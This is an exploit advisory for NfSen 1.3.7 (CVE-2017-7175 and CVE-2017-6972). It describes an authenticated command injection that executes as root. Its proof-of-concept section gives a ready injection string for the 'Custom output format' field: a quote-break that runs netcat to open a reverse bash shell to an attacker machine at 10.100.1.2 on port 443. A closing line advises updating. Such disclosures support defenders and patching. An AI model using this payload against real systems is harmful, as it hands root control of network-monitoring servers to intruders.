# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd

# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM
